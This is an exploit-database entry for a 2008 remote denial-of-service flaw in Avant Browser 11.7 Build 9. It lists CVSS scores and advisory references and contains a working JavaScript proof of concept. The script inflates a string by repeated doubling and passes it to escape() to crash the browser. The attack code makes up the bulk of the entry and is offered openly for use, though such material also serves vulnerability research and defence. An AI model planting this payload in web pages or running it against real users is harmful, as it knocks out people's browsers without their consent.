Avant Browser <= 11.7 Build 9 Integer Denial Of Service Exploit

2008.09.14
Credit: 0x90
Risk: Low
Local: No
Remote: Yes
CWE: CWE-189


CVSS Base Score: 4.3/10
Impact Subscore: 2.9/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: None
Integrity impact: None
Availability impact: Partial

<!-- - Product : Avant Browser - - Version : 11.7 Build 9 - - Author : 0x90 - - Homepage: WwW.0x90.CoM.Ar - - Contact : Guns[at]0x90[dot]com[dot]ar --> <script> var s=String.fromCharCode(257); var a=""; var b=""; for(i=0;i<1024;i++){a=a+s;} for(i=0;i<1024;i++){b=b+a;} var ov=s; for(i=0;i<28;i++) ov += ov; for(i=0;i<88;i++) ov += b; alert("0x90"); var Fuck=escape(ov); alert("0x90 !"); alert(Fuck); </script>

References:

http://xforce.iss.net/xforce/xfdb/45121
http://www.securityfocus.com/bid/31155
http://www.securityfocus.com/archive/1/archive/1/496301/100/0/threaded


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